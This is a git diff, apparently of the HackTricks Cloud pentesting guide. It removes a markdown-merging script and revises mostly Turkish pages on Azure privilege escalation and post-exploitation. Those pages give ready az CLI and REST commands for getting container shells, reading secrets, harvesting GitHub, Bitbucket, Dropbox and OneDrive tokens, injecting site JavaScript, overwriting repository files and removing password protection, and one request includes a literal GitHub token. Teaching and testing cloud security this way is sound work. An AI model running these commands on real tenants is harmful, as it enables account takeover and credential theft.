diff --git a/scripts/clean_for_ai.py b/scripts/clean_for_ai.py
deleted file mode 100644
index dd8035ed0..000000000
--- a/scripts/clean_for_ai.py
+++ /dev/null
@@ -1,145 +0,0 @@
-import os
-import re
-import tempfile
-
-def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
- def clean_file_content(file_path):
- """Clean the content of a single file and return the cleaned lines."""
- with open(file_path, "r", encoding="utf-8") as f:
- content = f.readlines()
-
- cleaned_lines = []
- inside_hint = False
- for i,line in enumerate(content):
- # Skip lines containing excluded keywords
- if any(keyword in line for keyword in exclude_keywords):
- continue
-
- # Detect and skip {% hint %} ... {% endhint %} blocks
- if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
- inside_hint = True
- if "{% endhint %}" in line:
- inside_hint = False
- continue
- if inside_hint:
- continue
-
- # Skip lines with ...
- if re.match(r".*?", line):
- continue
-
- # Add the line if it passed all checks
- cleaned_lines.append(line.rstrip())
-
- # Remove excess consecutive empty lines
- cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
- return cleaned_lines
-
- def remove_consecutive_empty_lines(lines):
- """Allow no more than one consecutive empty line."""
- cleaned_lines = []
- previous_line_empty = False
- for line in lines:
- if line.strip() == "":
- if not previous_line_empty:
- cleaned_lines.append("")
- previous_line_empty = True
- else:
- cleaned_lines.append(line)
- previous_line_empty = False
- return cleaned_lines
-
- def gather_files_in_order(start_folder):
- """Gather all .md files in a depth-first order."""
- files = []
- for root, _, filenames in os.walk(start_folder):
- md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md")])
- files.extend(md_files)
- return files
-
- # Gather files in depth-first order
- all_files = gather_files_in_order(start_folder)
-
- # Process files and merge into a single output
- with open(output_file, "w", encoding="utf-8") as output:
- for file_path in all_files:
- # Clean the content of the file
- cleaned_content = clean_file_content(file_path)
-
- # Skip saving if the cleaned file has fewer than 10 non-empty lines
- if len([line for line in cleaned_content if line.strip()]) < 10:
- continue
-
- # Get the name of the file for the header
- file_name = os.path.basename(file_path)
-
- # Write header, cleaned content, and 2 extra new lines
- output.write(f"# {file_name}\n\n")
- output.write("\n".join(cleaned_content))
- output.write("\n\n")
-
-def main():
- # Specify the starting folder and output file
- start_folder = os.getcwd()
- output_file = os.path.join(tempfile.gettempdir(), "merged_output.md")
-
- # Keywords to exclude from lines
- exclude_keywords = [
- "STM Cyber", # STM Cyber ads
- "offer several valuable cybersecurity services", # STM Cyber ads
- "and hack the unhackable", # STM Cyber ads
- "blog.stmcyber.com", # STM Cyber ads
-
- "RootedCON", # RootedCON ads
- "rootedcon.com", # RootedCON ads
- "the mission of promoting technical knowledge", # RootedCON ads
-
- "Intigriti", # Intigriti ads
- "intigriti.com", # Intigriti ads
-
- "Trickest", # Trickest ads
- "trickest.com", # Trickest ads,
- "Get Access Today:",
-
- "HACKENPROOF", # Hackenproof ads
- "hackenproof.com", # Hackenproof ads
- "HackenProof", # Hackenproof ads
- "discord.com/invite/N3FrSbmwdy", # Hackenproof ads
- "Hacking Insights:", # Hackenproof ads
- "Engage with content that delves", # Hackenproof ads
- "Real-Time Hack News:", # Hackenproof ads
- "Keep up-to-date with fast-paced", # Hackenproof ads
- "Latest Announcements:", # Hackenproof ads
- "Stay informed with the newest bug", # Hackenproof ads
- "start collaborating with top hackers today!", # Hackenproof ads
- "discord.com/invite/N3FrSbmwdy", # Hackenproof ads
-
- "Pentest-Tools", # Pentest-Tools.com ads
- "pentest-tools.com", # Pentest-Tools.com ads
- "perspective on your web apps, network, and", # Pentest-Tools.com ads
- "report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
-
- "SerpApi", # SerpApi ads
- "serpapi.com", # SerpApi ads
- "offers fast and easy real-time", # SerpApi ads
- "plans includes access to over 50 different APIs for scraping", # SerpApi ads
-
- "8kSec", # 8kSec ads
- "academy.8ksec.io", # 8kSec ads
- "Learn the technologies and skills required", # 8kSec ads
-
- "WebSec", # WebSec ads
- "websec.nl", # WebSec ads
- "which means they do it all; Pentesting", # WebSec ads
- ]
-
- # Clean and merge .md files
- clean_and_merge_md_files(start_folder, exclude_keywords, output_file)
-
- # Print the path to the output file
- print(f"Merged content has been saved to: {output_file}")
-
-if __name__ == "__main__":
- # Execute this from the hacktricks folder to clean
- # It will clean all the .md files and compile them into 1 in a proper order
- main()
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md
index 4a677c34b..3aa83ebed 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md
@@ -37,7 +37,7 @@ az keyvault key encrypt --vault-name testing-1231234 --name testing --algorithm
```
### **Microsoft.KeyVault/vaults/keys/decrypt/action**
-Bu izin, bir yetkilinin vault'ta saklanan bir anahtarı kullanarak verileri şifre çözmesine olanak tanır.
+Bu izin, bir yetkilinin kasada saklanan bir anahtarı kullanarak verileri şifre çözmesine olanak tanır.
```bash
az keyvault key decrypt --vault-name --name --algorithm --value
@@ -52,7 +52,7 @@ az keyvault key purge --vault-name --name
```
### **Microsoft.KeyVault/vaults/secrets/purge/action**
-Bu izin, bir kullanıcının kasadan bir sırrı kalıcı olarak silmesine olanak tanır.
+Bu izin, bir yetkilinin kasadan bir sırrı kalıcı olarak silmesine olanak tanır.
```bash
az keyvault secret purge --vault-name --name
```
@@ -64,26 +64,32 @@ az keyvault secret set --vault-name --name --value --name
```
### **Microsoft.KeyVault/vaults/keys/delete**
-Bu izin, bir yetkilinin bir anahtarı kasadan silmesine olanak tanır. Anahtar, "yumuşak silme" durumuna taşınır; burada, temizlenmedikçe geri yüklenebilir.
+Bu izin, bir yetkilinin bir anahtarı kasadan silmesine olanak tanır. Anahtar, "yumuşak silme" durumuna taşınır; burada, temizlenmediği sürece geri yüklenebilir.
```bash
az keyvault key delete --vault-name --name
```
### **Microsoft.KeyVault/vaults/secrets/delete**
-Bu izin, bir yetkilinin bir sırrı kasadan silmesine olanak tanır. Sır, "yumuşak silme" durumuna taşınır; burada, temizlenmedikçe geri yüklenebilir.
+Bu izin, bir yetkilinin kasadan bir sırrı silmesine olanak tanır. Sır, "yumuşak silme" durumuna taşınır; burada, temizlenmedikçe geri yüklenebilir.
```bash
az keyvault secret delete --vault-name --name
```
### Microsoft.KeyVault/vaults/secrets/restore/action
-Bu izin, bir kullanıcının bir yedekten bir sırrı geri yüklemesine olanak tanır.
+Bu izin, bir yetkilinin bir yedekten bir sırrı geri yüklemesine olanak tanır.
```bash
az keyvault secret restore --vault-name --file
+```
+### Microsoft.KeyVault/vaults/keys/recover/action
+Daha önce silinmiş bir anahtarın Azure Key Vault'tan kurtarılmasına izin verir.
+```bash
+az keyvault secret recover --vault-name --name
+
```
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md
index e12700625..4767c7af5 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md
@@ -14,7 +14,7 @@ Daha fazla bilgi için kontrol edin:
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
-Bu izinler, kullanıcının **çalışan bir konteynerde bir komut çalıştırmasına** olanak tanır. Bu, konteynerde herhangi bir yönetilen kimlik varsa **yetki yükseltmek** için kullanılabilir. Elbette, konteynerin içinde depolanan kaynak koduna ve diğer hassas bilgilere erişmek de mümkündür.
+Bu izinler, kullanıcının **çalışan bir konteynerde bir komut çalıştırmasına** olanak tanır. Bu, konteynerde herhangi bir yönetilen kimlik varsa **yetki yükseltmek** için kullanılabilir. Elbette, konteynerin içindeki kaynak koduna ve diğer hassas bilgilere erişmek de mümkündür.
Bir shell almak bu kadar basit:
```bash
@@ -24,15 +24,15 @@ Aynı zamanda konteynerin **çıkışını okumak** da mümkündür:
```bash
az container attach --name --resource-group
```
-Veya logları şu şekilde alabilirsiniz:
+Ya da logları şu şekilde alabilirsiniz:
```bash
az container logs --name --resource-group
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
-Bu izinler, bir **kullanıcı yönetilen kimliğini** bir konteyner grubuna eklemeye olanak tanır. Bu, konteynerde ayrıcalıkları artırmak için çok faydalıdır.
+Bu izinler, bir **kullanıcı yönetimli kimliği** bir konteyner grubuna eklemeye olanak tanır. Bu, konteynerde ayrıcalıkları artırmak için çok faydalıdır.
-Bir kullanıcı yönetilen kimliğini bir konteyner grubuna eklemek için:
+Bir kullanıcı yönetimli kimliği bir konteyner grubuna eklemek için:
```bash
az rest \
--method PATCH \
@@ -49,7 +49,7 @@ az rest \
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
-Bu izinler, **bir kullanıcı yönetilen kimliği** eklenmiş bir **konteyner grubunu oluşturma veya güncelleme** olanağı sağlar. Bu, konteynerde ayrıcalıkları artırmak için çok faydalıdır.
+Bu izinler, **bir kullanıcı yönetimli kimlik** ile ilişkilendirilmiş bir **konteyner grubunu oluşturma veya güncelleme** olanağı sağlar. Bu, konteynerde ayrıcalıkları artırmak için çok faydalıdır.
```bash
az container create \
--resource-group \
@@ -67,7 +67,7 @@ Ayrıca, mevcut bir konteyner grubunu güncellemek de mümkündür; örneğin, *
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
-Bu izinler, kullanıcının **çalışan bir uygulama konteynerinde bir shell almasına** olanak tanır. Bu, konteynerde herhangi bir yönetilen kimlik varsa **yetkileri artırmak** için kullanılabilir. Elbette, konteynerin içinde depolanan kaynak koduna ve diğer hassas bilgilere de erişmek mümkündür.
+Bu izinler, kullanıcının çalışan bir uygulama konteynerinde **bir shell almasına** olanak tanır. Bu, konteynerde herhangi bir yönetilen kimlik varsa **yetkileri yükseltmek** için kullanılabilir. Elbette, konteynerin içinde depolanan kaynak koduna ve diğer hassas bilgilere de erişmek mümkündür.
```bash
az containerapp exec --name --resource-group --command "sh"
az containerapp debug --name --resource-group
@@ -75,7 +75,7 @@ az containerapp debug --name --resource-group
```
### `Microsoft.App/containerApps/listSecrets/action`
-Bu izin, bir konteyner uygulaması içinde yapılandırılmış **gizli anahtarların düz metnini** almayı sağlar. Gizli anahtarların düz metin olarak veya bir anahtar kasasına bağlantı ile yapılandırılabileceğini unutmayın (bu durumda uygulamaya gizli anahtarlara erişim sağlayan bir yönetilen kimlik atanmış olacaktır).
+Bu izin, bir konteyner uygulaması içinde yapılandırılan **gizli anahtarların düz metnini** almayı sağlar. Gizli anahtarların düz metin olarak veya bir anahtar kasasına bağlantı ile yapılandırılabileceğini unutmayın (bu durumda uygulamaya gizli anahtarlara erişim sağlayan bir yönetilen kimlik atanmış olacaktır).
```bash
az containerapp secret list --name --resource-group
az containerapp secret show --name --resource-group --secret-name
@@ -112,7 +112,7 @@ az containerapp create \
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
-İşler, konteyner uygulamaları gibi uzun süreli çalışmasa da, bir yürütme başlatırken işin komut yapılandırmasını geçersiz kılma yeteneğinden yararlanabilirsiniz. Özel bir iş şablonu oluşturarak (örneğin, varsayılan komutu bir ters shell ile değiştirmek), işi yürüten konteyner içinde shell erişimi elde edebilirsiniz.
+Jobs, konteyner uygulamaları gibi uzun süreli değildir, ancak bir yürütme başlatırken işin komut yapılandırmasını geçersiz kılma yeteneğinden yararlanabilirsiniz. Özel bir iş şablonu oluşturarak (örneğin, varsayılan komutu bir ters shell ile değiştirmek), işin çalıştığı konteyner içinde shell erişimi elde edebilirsiniz.
```bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name --resource-group --output yaml > job-template.yaml
@@ -134,7 +134,7 @@ az containerapp job start --name --resource-group --yaml
```
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`
-Bu izinlere sahipseniz, bir Job konteyneri içindeki tüm gizli anahtarları (ilk izin) listeleyebilir ve ardından yapılandırılmış gizli anahtarların değerlerini okuyabilirsiniz.
+Bu izinlere sahipseniz, bir Job konteyneri içindeki tüm gizli anahtarları listeleyebilir (ilk izin) ve ardından yapılandırılmış gizli anahtarların değerlerini okuyabilirsiniz.
```bash
az containerapp job secret list --name --resource-group
az containerapp job secret show --name --resource-group --secret-name
@@ -150,7 +150,7 @@ az containerapp job update \
```
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
-Yeni bir Container Apps Job oluşturabiliyorsanız (veya mevcut olanı güncelleyebiliyorsanız) ve bir yönetilen kimlik ekleyebiliyorsanız, işi ayrıcalıkları artıran bir yükü çalıştıracak şekilde tasarlayabilirsiniz. Örneğin, yalnızca bir ters shell çalıştırmakla kalmayıp aynı zamanda yönetilen kimliğin kimlik bilgilerini kullanarak token talep edebilir veya diğer kaynaklara erişim sağlayan yeni bir iş oluşturabilirsiniz.
+Yeni bir Container Apps Job oluşturabiliyorsanız (veya mevcut birini güncelleyebiliyorsanız) ve yönetilen bir kimlik ekleyebiliyorsanız, işi ayrıcalıkları artıran bir yükü çalıştıracak şekilde tasarlayabilirsiniz. Örneğin, yalnızca bir ters kabuk çalıştırmakla kalmayıp, aynı zamanda yönetilen kimliğin kimlik bilgilerini kullanarak token talep edebilir veya diğer kaynaklara erişim sağlayan yeni bir iş oluşturabilirsiniz.
```bash
az containerapp job create \
--name \
@@ -169,9 +169,14 @@ az containerapp job create \
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
-Bu izinlerle bir işi başlatmanın mümkün olması gerekiyor gibi görünüyor. Bu, bir ters shell veya herhangi bir kötü niyetli komut başlatmak için kullanılabilir, işin yapılandırmasını değiştirmeye gerek kalmadan.
+Bu izinlerle bir işi başlatmanın mümkün olması gerekiyor gibi görünüyor. Bu, bir ters kabuk veya başka herhangi bir kötü niyetli komut başlatmak için kullanılabilir, işin yapılandırmasını değiştirmeye gerek kalmadan.
-Bunun çalışmasını sağlayamadım ama izin verilen parametrelere göre mümkün olmalı.
+Bunu çalıştırmayı başaramadım ama izin verilen parametrelere göre mümkün olmalı.
+### Microsoft.ContainerInstance/containerGroups/restart/action
+Azure Container Instances içindeki belirli bir konteyner grubunu yeniden başlatmaya izin verir.
+```bash
+az container restart --resource-group --name
+```
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md
index 799219ed9..e658a1f5a 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md
@@ -1,10 +1,10 @@
-# Az - Static Web Apps Post Exploitation
+# Az - Statik Web Uygulamaları Sonrası İstismar
{{#include ../../../banners/hacktricks-training.md}}
-## Azure Static Web Apps
+## Azure Statik Web Uygulamaları
-For more information about this service check:
+Bu hizmet hakkında daha fazla bilgi için kontrol edin:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,164 +12,153 @@ For more information about this service check:
### Microsoft.Web/staticSites/snippets/write
-It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets).
-
-The fllowing command create an snippet that will always be loaded by the web app::
+Bir snippet oluşturarak statik bir web sayfasının rastgele HTML kodu yüklemesi mümkündür. Bu, bir saldırganın web uygulaması içine JS kodu enjekte etmesine ve kimlik bilgileri veya mnemonic anahtarlar gibi hassas bilgileri çalmasına olanak tanıyabilir (web3 cüzdanlarında).
+Aşağıdaki komut, web uygulaması tarafından her zaman yüklenecek bir snippet oluşturur::
```bash
az rest \
- --method PUT \
- --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \
- --headers "Content-Type=application/json" \
- --body '{
- "properties": {
- "name": "supersnippet",
- "location": "Body",
- "applicableEnvironmentsMode": "AllEnvironments",
- "content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
- "environments": [],
- "insertBottom": false
- }
- }'
+--method PUT \
+--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \
+--headers "Content-Type=application/json" \
+--body '{
+"properties": {
+"name": "supersnippet",
+"location": "Body",
+"applicableEnvironmentsMode": "AllEnvironments",
+"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
+"environments": [],
+"insertBottom": false
+}
+}'
```
+### Yapılandırılmış Üçüncü Taraf Kimlik Bilgilerini Okuma
-### Read Configured Third Party Credentials
-
-As explained in the App Service section:
+App Service bölümünde açıklandığı gibi:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
-Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
-
+Aşağıdaki komutu çalıştırarak, mevcut hesapta yapılandırılmış **üçüncü taraf kimlik bilgilerini** okumak mümkündür. Örneğin, bazı Github kimlik bilgileri farklı bir kullanıcıda yapılandırılmışsa, farklı bir kullanıcıdan token'a erişim sağlayamayacağınızı unutmayın.
```bash
az rest --method GET \
- --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
+--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
+Bu komut, Github, Bitbucket, Dropbox ve OneDrive için token'lar döndürür.
-This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
-
-Here you have some command examples to check the tokens:
-
+İşte token'ları kontrol etmek için bazı komut örnekleri:
```bash
# GitHub – List Repositories
curl -H "Authorization: token " \
- -H "Accept: application/vnd.github.v3+json" \
- https://api.github.com/user/repos
+-H "Accept: application/vnd.github.v3+json" \
+https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer " \
- -H "Accept: application/json" \
- https://api.bitbucket.org/2.0/repositories
+-H "Accept: application/json" \
+https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
- -H "Authorization: Bearer " \
- -H "Content-Type: application/json" \
- --data '{"path": ""}'
+-H "Authorization: Bearer " \
+-H "Content-Type: application/json" \
+--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer " \
- -H "Accept: application/json" \
- https://graph.microsoft.com/v1.0/me/drive/root/children
+-H "Accept: application/json" \
+https://graph.microsoft.com/v1.0/me/drive/root/children
```
+### Dosyayı Üzerine Yaz - Yolları, HTML, JS...
-### Overwrite file - Overwrite routes, HTML, JS...
+Azure üzerinden **Github token** kullanarak uygulamanın bulunduğu Github reposundaki bir dosyayı **üzerine yazmak** mümkündür. Aşağıdaki gibi bir istek göndererek, üzerine yazılacak dosyanın yolunu, dosyanın içeriğini ve commit mesajını belirtebilirsiniz.
-It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message.
-
-This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file.
+Bu, saldırganlar tarafından esasen **web uygulamasının içeriğini değiştirmek** (kimlik bilgilerini çalmak, mnemonic anahtarlar...) veya sadece belirli yolları kendi sunucularına **yönlendirmek** için `staticwebapp.config.json` dosyasını üzerine yazarak kötüye kullanılabilir.
> [!WARNING]
-> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github.
-
+> Bir saldırganın Github reposunu herhangi bir şekilde ele geçirmesi durumunda, dosyayı doğrudan Github üzerinden de üzerine yazabileceğini unutmayın.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
- "commit": {
- "message": "Update static web app route configuration",
- "branchName": "main",
- "committer": {
- "name": "Azure App Service",
- "email": "donotreply@microsoft.com"
- },
- "contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
- "filePath": "staticwebapp.config.json",
- "message": "Update static web app route configuration",
- "repoName": "carlospolop/my-first-static-web-app",
- "sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
- },
- "gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
+"commit": {
+"message": "Update static web app route configuration",
+"branchName": "main",
+"committer": {
+"name": "Azure App Service",
+"email": "donotreply@microsoft.com"
+},
+"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
+"filePath": "staticwebapp.config.json",
+"message": "Update static web app route configuration",
+"repoName": "carlospolop/my-first-static-web-app",
+"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
+},
+"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
+### Microsoft.Web/staticSites/config/write
-
-### Microsoft.Web/staticSites/config/write
-
-With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following:
-
+Bu izinle, bir statik web uygulamasını koruyan **şifreyi değiştirmek** veya aşağıdaki gibi bir istek göndererek her ortamı korumasız hale getirmek mümkündür:
```bash
# Change password
az rest --method put \
--url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
- "name": "basicAuth",
- "type": "Microsoft.Web/staticSites/basicAuth",
- "properties": {
- "password": "SuperPassword123.",
- "secretUrl": "",
- "applicableEnvironmentsMode": "AllEnvironments"
- }
+"name": "basicAuth",
+"type": "Microsoft.Web/staticSites/basicAuth",
+"properties": {
+"password": "SuperPassword123.",
+"secretUrl": "",
+"applicableEnvironmentsMode": "AllEnvironments"
+}
}'
+
+
# Remove the need of a password
az rest --method put \
--url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
- "name": "basicAuth",
- "type": "Microsoft.Web/staticSites/basicAuth",
- "properties": {
- "secretUrl": "",
- "applicableEnvironmentsMode": "SpecifiedEnvironments",
- "secretState": "None"
- }
+"name": "basicAuth",
+"type": "Microsoft.Web/staticSites/basicAuth",
+"properties": {
+"secretUrl": "",
+"applicableEnvironmentsMode": "SpecifiedEnvironments",
+"secretState": "None"
+}
}'
```
-
### Microsoft.Web/staticSites/listSecrets/action
-This permission allows to get the **API key deployment token** for the static app:
-
+Bu izin, statik uygulama için **API anahtarı dağıtım jetonunu** almayı sağlar:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01"
```
+Sonra, **token kullanarak bir uygulamayı güncellemek için** aşağıdaki komutu çalıştırabilirsiniz. Bu komut, **Github Action'ın [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) nasıl çalıştığını kontrol ederek** çıkarılmıştır, çünkü bu Azure tarafından varsayılan olarak kullanılmak üzere ayarlanmıştır. Bu nedenle, görüntü ve ayarlar gelecekte değişebilir.
-Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
-
-1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`.
-2. Change the code you want to deploy
-3. Deploy it running (Remember to change the ``):
+> [!TIP]
+> Uygulamayı dağıtmak için [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) adresindeki **`swa`** aracını kullanabilir veya aşağıdaki adımları izleyebilirsiniz:
+1. [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (veya dağıtmak istediğiniz başka bir repo) reposunu indirin ve `cd react-basic` komutunu çalıştırın.
+2. Dağıtmak istediğiniz kodu değiştirin.
+3. Aşağıdaki komutu çalıştırarak dağıtın ( `` kısmını değiştirmeyi unutmayın):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
-
->[!WARNING]
-> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token.
+> [!WARNING]
+> Tokenunuz olsa bile, **Deployment Authorization Policy** **Github** olarak ayarlandığında uygulamayı dağıtamayacaksınız. Token'ı kullanmak için dağıtım yöntemini APi token'ını kullanacak şekilde değiştirmek için `Microsoft.Web/staticSites/write` iznine ihtiyacınız olacak.
### Microsoft.Web/staticSites/write
-With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action.
+Bu izinle, **statik web uygulamasının kaynağını farklı bir Github deposuna değiştirmek** mümkündür, ancak bu otomatik olarak sağlanmayacaktır çünkü bu bir Github Action üzerinden yapılmalıdır.
-However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**.
-
-In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`.
+Ancak, **Deployment Authorization Policy** **Github** olarak ayarlandığında, **yeni kaynak deposundan uygulamayı güncellemek mümkündür!**.
+Eğer **Deployment Authorization Policy** Github olarak ayarlanmamışsa, aynı `Microsoft.Web/staticSites/write` izni ile bunu değiştirebilirsiniz.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -179,117 +168,109 @@ az rest --method PATCH \
--url "https://management.azure.com/subscriptions/>/resourceGroups//providers/Microsoft.Web/staticSites/?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
- "properties": {
- "allowConfigFileUpdates": true,
- "stagingEnvironmentPolicy": "Enabled",
- "buildProperties": {
- "appLocation": "/",
- "apiLocation": "",
- "appArtifactLocation": "build"
- },
- "deploymentAuthPolicy": "GitHub",
- "repositoryToken": "" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
- }
+"properties": {
+"allowConfigFileUpdates": true,
+"stagingEnvironmentPolicy": "Enabled",
+"buildProperties": {
+"appLocation": "/",
+"apiLocation": "",
+"appArtifactLocation": "build"
+},
+"deploymentAuthPolicy": "GitHub",
+"repositoryToken": "" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
+}
}'
```
-
-Example Github Action to deploy the app:
-
+Uygulamayı dağıtmak için örnek Github Action:
```yaml
name: Azure Static Web Apps CI/CD
on:
- push:
- branches:
- - main
- pull_request:
- types: [opened, synchronize, reopened, closed]
- branches:
- - main
+push:
+branches:
+- main
+pull_request:
+types: [opened, synchronize, reopened, closed]
+branches:
+- main
jobs:
- build_and_deploy_job:
- if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
- runs-on: ubuntu-latest
- name: Build and Deploy Job
- permissions:
- id-token: write
- contents: read
- steps:
- - uses: actions/checkout@v3
- with:
